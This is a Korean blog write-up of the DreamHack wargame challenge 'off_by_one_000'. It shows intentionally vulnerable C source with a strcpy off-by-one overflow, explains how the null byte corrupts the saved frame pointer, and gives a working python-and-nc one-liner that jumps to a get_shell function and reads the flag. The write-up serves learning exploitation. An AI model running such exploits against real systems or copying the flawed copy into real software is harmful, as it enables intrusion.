Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char cp_name[256];
void get_shell()
{
system("/bin/sh");
}
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int cpy()
{
char real_name[256];
strcpy(real_name, cp_name);
return 0;
}
int main()
{
initialize();
printf("Name: ");
read(0, cp_name, sizeof(cp_name));
cpy();
printf("Name: %s", cp_name);
return 0;
}
Get shell 함수가 있다 이걸 사용하면 되겠다.
cpy 함수에서 strcpy를 이용하니 여기서 bof 가 발생할 것 같다.
cp_name 의 사이즈는 256
real_name 의 사이즈도 256이다.
저번에 포너블 문제 풀면서 char 문자열의 최대 길이만큼 주면 NULL 문자 한바이트를 더 삽입할 수 있다고 한 게 생각이 났다. 일단 함수들 주소랑 그런거 파악해 보자.
좀 더 생각해 볼만한 것은 cp_name 이 스택 상에 있는 변수는 아니라는 것이다. 전역변수니까. 이제 cpy()함수 상의 real_name은 지역변수니까 여기서 스택을 사용한다. 여기서 bof 가 확실한 것 같은데, 우리가 RET를 조작할 수 있는지가 의문이다.
OFF-BY-ONE 이라는 공격기법이 있는 모양이다. 이제 입력 사이즈를 최대로 주면, 문자열이 더 복사되어서 ebp 값이 변조되는 것 같다. 변조된 ebp 값이 return 되기 때문에 shell을 실행할 수 있다.
get_shell : 0x80485db
vared@ubuntu:~/hacking/dreamhack$ (python -c 'print "\xdb\x85\x04\x08"*64';cat)|nc host1.dreamhack.games 12871
Name: Name: ۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅ
ls
flag
off_by_one_000
cat flag
DH{-----flag-----}
'WriteUp > DreamHack' 카테고리의 다른 글
DreamHack : ssp_001 (0) | 2020.11.19 |
---|---|
DreamHack : ssp_000 (0) | 2020.11.19 |
DreamHack : Sint (0) | 2020.11.19 |
DreamHack : Out_of_bound (0) | 2020.11.19 |
DreamHack : off_by_one_001 (0) | 2020.11.19 |